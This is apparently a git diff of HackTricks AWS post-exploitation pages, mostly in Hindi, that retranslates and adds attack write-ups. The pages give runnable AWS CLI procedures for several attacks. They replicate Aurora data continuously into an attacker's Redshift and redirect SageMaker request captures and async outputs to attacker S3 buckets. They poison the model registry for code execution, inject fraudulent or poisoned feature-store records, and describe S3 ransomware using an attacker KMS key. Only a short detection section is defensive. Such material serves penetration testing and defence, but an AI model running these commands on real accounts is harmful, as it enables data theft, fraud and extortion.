 ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production data को लगातार उस Redshift Serverless namespace में replicate करें जिसे आप नियंत्रित करते हैं। एक permissive Redshift resource policy जो एक विशिष्ट Aurora cluster ARN के लिए CreateInboundIntegration/AuthorizeInboundIntegration को अधिकृत करती है, एक attacker को बिना DB creds, snapshots या network exposure के near‑real‑time data copy स्थापित करने में सक्षम बनाती है।
+Aurora PostgreSQL zero‑ETL integration का दुरुपयोग करके production डेटा को लगातार आपके नियंत्रित Redshift Serverless namespace में replicate किया जा सकता है। एक permissive Redshift resource policy जो CreateInboundIntegration/AuthorizeInboundIntegration को किसी विशिष्ट Aurora cluster ARN के लिए authorize करती है, एक attacker बिना DB creds, snapshots या network exposure के लगभग वास्तविक‑समय डेटा कॉपी स्थापित कर सकता है।
 
-आवश्यक permissions (न्यूनतम):
+आवश्यक अनुमतियाँ (न्यूनतम):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
-- `rds-data:ExecuteStatement` (optional; to seed data if needed)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (क्वेरी करने के लिए)
+- `rds-data:ExecuteStatement` (वैकल्पिक; यदि आवश्यक हो तो डेटा seed करने के लिए)
 
-Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+परीक्षण किया गया: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 

 1) Redshift Serverless namespace + workgroup बनाएँ
@@ -508,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 

 
 

-2) Redshift रिसोर्स पॉलिसी को कॉन्फ़िगर करें ताकि Aurora स्रोत को अनुमति दी जा सके
+2) Redshift resource policy को कॉन्फ़िगर करें ताकि Aurora स्रोत को अनुमति मिले
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 

 
 

-3) Aurora PostgreSQL cluster बनाएँ (Data API और logical replication सक्षम करें)
+3) Aurora PostgreSQL क्लस्टर बनाएँ (Data API और logical replication सक्षम करें)
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -570,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 

 
 

-4) RDS से zero‑ETL इंटीग्रेशन बनाएं
+4) RDS से zero‑ETL integration बनाएं
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -595,11 +596,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 

 
-परीक्षण में देखे गए साक्ष्य:
+परीक्षण में प्रेक्षित साक्ष्य:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION ने integration_id 377a462b-c42c-4f08-937b-77fe75d98211 और state PendingDbConnectState DB निर्माण से पहले दिखाया।
-- CREATE DATABASE FROM INTEGRATION के बाद, तालिकाएँ सूचीबद्ध करने पर schema ztl और table customers प्रकट हुए; ztl.customers से चयन करने पर 2 पंक्तियाँ (Alice, Bob) वापस आईं।
+- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
+- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
 
-प्रभाव: चयनित Aurora PostgreSQL तालिकाओं का लगातार near‑real‑time exfiltration Redshift Serverless में, जो हमलावर द्वारा नियंत्रित है, बिना database credentials, backups, या स्रोत क्लस्टर के network access का उपयोग किए।
+प्रभाव: हमलावर द्वारा नियंत्रित Redshift Serverless में चयनित Aurora PostgreSQL टेबल्स का लगातार near‑real‑time exfiltration संभव हुआ, बिना database credentials, backups, या source cluster के नेटवर्क एक्सेस का उपयोग किए।
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
deleted file mode 100644
index 1ee66a3b5..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - S3 पोस्ट एक्सप्लोइटेशन
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### संवेदनशील जानकारी
-
-कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform राज्य रहस्य।
-
-### पिवोटिंग
-
-विभिन्न प्लेटफार्म S3 का उपयोग संवेदनशील संपत्तियों को स्टोर करने के लिए कर सकते हैं।\
-उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या **खातों पर नियंत्रण** पाने के लिए JS फ़ाइलों को संशोधित कर सकें।
-
-### S3 रैंसमवेयर
-
-इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता है।
-
-हमलावर एक लक्षित **S3 बकेट की पहचान करता है और विभिन्न तरीकों का उपयोग करके** इसमें लिखने का स्तर प्राप्त करता है। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक।
-
-यह निर्धारित करने के लिए कि क्या बकेट रैंसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैंसमवेयर करना अधिक कठिन हो जाता है।
-
-AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को अपने KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे यह कुंजी के बिना अनुपलब्ध हो जाता है।
-
-अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है, जिससे डेटा स्थायी रूप से खो जाता है।
-
-अंत में, हमलावर एक अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" कहा जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैंसमवेयर हमले के बारे में जागरूक करने के लिए।
-
-**अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**।**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
new file mode 100644
index 000000000..021b8b41b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### संवेदनशील जानकारी
+
+कभी-कभी आप buckets में पढ़ने योग्य रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets.
+
+### Pivoting
+
+Different platforms could be using S3 to store sensitive assets.\
+For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
+
+### S3 Ransomware
+
+In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
+
+The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
+
+To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
+
+Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
+
+To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
+
+Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
new file mode 100644
index 000000000..872aafeba
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint से डेटा निकालना UpdateEndpoint DataCaptureConfig के माध्यम से
+
+SageMaker endpoint management का दुरुपयोग करके attacker‑controlled S3 bucket में full request/response capture सक्षम करें बिना model या container को छुए। यह zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management permissions की आवश्यकता होती है।
+
+### आवश्यकताएँ
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (या उसी खाते में मौजूद किसी मौजूदा bucket का उपयोग करें)
+- वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने गए CMK पर
+- लक्ष्‍य: उसी account/region में मौजूद एक InService real‑time endpoint
+
+### चरण
+1) एक InService endpoint की पहचान करें और वर्तमान production variants एकत्र करें
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) captures के लिए attacker S3 destination को तैयार करें
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) समान वेरिएंट्स बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket पर DataCapture सक्षम करे
+
+नोट: CLI वैलिडेशन को पूरा करने वाले स्पष्ट content types का उपयोग करें।
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) नए config को rolling update के साथ लागू करें (minimal/no downtime)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) कम से कम एक inference call जनरेट करें (यदि live traffic मौजूद है तो वैकल्पिक)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) attacker S3 में captures को सत्यापित करें
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### प्रभाव
+- लक्षित endpoint से हमलावर-नियंत्रित S3 बकेट में रियल‑टाइम inference request और response payloads (और metadata) का पूर्ण exfiltration।
+- model/container image में कोई बदलाव नहीं और केवल endpoint‑level परिवर्तन, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है।
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+endpoint management का दुरुपयोग करके asynchronous inference outputs को हमलावर-नियंत्रित S3 बकेट पर रीडायरेक्ट करें — इसके लिए वर्तमान EndpointConfig को clone करें और AsyncInferenceConfig.OutputConfig में S3OutputPath/S3FailurePath सेट करें। यह model predictions (और container द्वारा शामिल किए गए किसी भी transformed inputs) को model/container को modify किए बिना exfiltrate कर देता है।
+
+### आवश्यकताएँ
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: attacker S3 bucket में लिखने की क्षमता (model execution role या permissive bucket policy के माध्यम से)
+- Target: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा)
+
+### चरण
+1) लक्ष्य endpoint से वर्तमान ProductionVariants एकत्र करें
+```bash
+REGION=${REGION:-us-east-1}
+EP=
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सकता है)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) EndpointConfig को क्लोन करें और AsyncInference outputs को attacker bucket में hijack करें
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) एक async invocation ट्रिगर करें और सत्यापित करें कि ऑब्जेक्ट्स attacker S3 में पहुँचते हैं।
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### प्रभाव
+- असिंक्रोनस inference परिणामों (और error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और संभवतः container द्वारा उत्पन्न sensitive pre/post-processed inputs को बिना model code या image बदले और कम/कोई डाउनटाइम के साथ covert तरीके से बाहर निकाला जा सकता है।
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+यदि कोई हमलावर target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version रजिस्टर कर सकते हैं जो हमलावर के नियंत्रण वाले container image की ओर इशारा करता है और तुरंत उसे Approved मार्क कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy करती हैं, जिसके परिणामस्वरूप service के execution roles के अंतर्गत हमलावर का code execution होता है। permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकती है।
+
+### आवश्यकताएँ
+- IAM (लक्षित मौजूदा समूह को poison करने के लिए न्यूनतम): `sagemaker:CreateModelPackage` लक्ष्य ModelPackageGroup पर
+- वैकल्पिक (यदि कोई समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup`
+- S3: referenced ModelDataUrl के लिए Read access (या हमलावर-नियंत्रित artifacts होस्ट करें)
+- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए मॉनिटर/देखती है
+
+### कदम
+1) region सेट करें और एक लक्षित Model Package Group बनाएं/खोजें
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) S3 में डमी मॉडल डेटा तैयार करें
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024  /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) किसी सार्वजनिक AWS DLC image को संदर्भित करते हुए एक malicious (here benign) Approved model package version पंजीकृत करें
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) नए स्वीकृत संस्करण के अस्तित्व की पुष्टि करें
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### प्रभाव
+- Model Registry को उस Approved version से poison करें जो attacker-controlled code को reference करता है। Auto-deploy करने वाली Pipelines Approved models को pull और run कर सकती हैं, जिससे attacker image के चलते endpoint/training roles के अंतर्गत code execution हो सकता है।
+- एक permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy) के साथ, यह दुरुपयोग cross-account ट्रिगर किया जा सकता है।
+
+## Feature store poisoning
+
+Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करें (जब OnlineStore enabled हो) ताकि online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सके। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features को पढ़ सकता है। इसके लिए models या endpoints तक पहुंच की आवश्यकता नहीं होती।
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
new file mode 100644
index 000000000..fceb54425
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -0,0 +1,160 @@
+# SageMaker Feature Store online store poisoning
+
+OnlineStore सक्षम किसी Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव फीचर मानों को overwrite करें जिन्हें online inference द्वारा उपयोग किया जाता है। `sagemaker:GetRecord` के साथ मिलाकर, एक attacker संवेदनशील फीचर्स पढ़ सकता है और confidential ML डेटा को exfiltrate कर सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं होती, इसलिए यह एक प्रत्यक्ष data-layer attack बन जाता है।
+
+## आवश्यकताएँ
+- अनुमतियाँ: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- लक्ष्य: OnlineStore सक्षम Feature Group (आमतौर पर real-time inference को बैक करता है)
+- जटिलता: **LOW** - सरल AWS CLI commands, किसी मॉडल में कोई छेड़छाड़ आवश्यक नहीं
+
+## चरण
+
+### Reconnaissance
+
+1) OnlineStore सक्षम Feature Groups को सूचीबद्ध करें
+```bash
+REGION=${REGION:-us-east-1}
+aws sagemaker list-feature-groups \
+--region $REGION \
+--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
+--output table
+```
+2) लक्षित Feature Group का वर्णन करें ताकि उसके schema को समझा जा सके
+```bash
+FG=
+aws sagemaker describe-feature-group \
+--region $REGION \
+--feature-group-name "$FG"
+```
+नोट: `RecordIdentifierFeatureName`, `EventTimeFeatureName`, और सभी फीचर परिभाषाओं को ध्यान में रखें। वैध रिकॉर्ड बनाने के लिए ये आवश्यक हैं।
+
+### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
+
+1) मौजूदा वैध रिकॉर्ड पढ़ें
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-001
+```
+2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को दुर्भावनापूर्ण मानों से संक्रमित करें
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+
+# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
+aws sagemaker-featurestore-runtime put-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record "[
+{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
+{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
+{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
+{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
+{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
+]" \
+--target-stores OnlineStore
+```
+3) प्रदूषित डेटा सत्यापित करें
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-001
+```
+**प्रभाव**: इस feature का उपयोग करने वाले ML मॉडल अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जिससे उनके लेनदेन या सेवाएँ संभावित रूप से अवरुद्ध हो सकती हैं।
+
+### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
+
+Inject हेरफार किए गए फीचर्स के साथ पूरी तरह से नए रिकॉर्ड्स डालें ताकि सुरक्षा नियंत्रणों से बचा जा सके:
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+
+# Create fake user with artificially low risk to perform fraudulent transactions
+aws sagemaker-featurestore-runtime put-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record "[
+{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
+{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
+{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
+{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
+{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
+]" \
+--target-stores OnlineStore
+```
+injection की पुष्टि करें:
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-999
+```
+**प्रभाव**: Attacker एक नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो high-value fraudulent transactions कर सकता है बिना fraud detection को ट्रिगर किए।
+
+### Attack Scenario 3: Sensitive Data Exfiltration
+
+कई रिकॉर्ड पढ़कर गोपनीय फीचर निकालें और मॉडल के व्यवहार का प्रोफाइल बनाएं:
+```bash
+# Exfiltrate data for known users
+for USER_ID in user-001 user-002 user-003 user-999; do
+echo "Exfiltrating data for ${USER_ID}:"
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string ${USER_ID}
+done
+```
+**Impact**: संवेदनशील फीचर (risk scores, transaction patterns, personal data) attacker को उजागर।
+
+### परीक्षण/डेमो Feature Group निर्माण (वैकल्पिक)
+
+यदि आपको एक परीक्षण Feature Group बनाना हो:
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=test-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+
+aws sagemaker create-feature-group \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-feature-name entity_id \
+--event-time-feature-name event_time \
+--feature-definitions "[
+{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
+{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
+{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
+{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
+{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
+]" \
+--online-store-config "{\"EnableOnlineStore\":true}" \
+--role-arn "$ROLE_ARN"
+
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+
+echo "Feature Group ready: $FG"
+```
+## पहचान
+
+CloudTrail पर संदिग्ध पैटर्न की निगरानी करें:
+- असामान्य IAM principals या IP addresses से आने वाले `PutRecord` ईवेंट्स
+- उच्च आवृत्ति वाले `PutRecord` या `GetRecord` कॉल्स
+- असामान्य feature मानों के साथ `PutRecord` (उदा., `risk_score` सामान्य रेंज के बाहर)
+- बड़े पैमाने पर `GetRecord` ऑपरेशन्स जो mass exfiltration का संकेत देते हैं
+- सामान्य business hours के बाहर या अनपेक्षित स्थानों से एक्सेस
+
+अनियमितता की पहचान लागू करें:
+- Feature मान सत्यापन (उदा., `risk_score` 0.0-1.0 होना चाहिए)
+- Write पैटर्न विश्लेषण (आवृत्ति, समय, स्रोत पहचान)
+- Data drift detection (feature वितरणों में अचानक परिवर्तन)
+
+## संदर्भ
+- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index 63bf84791..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
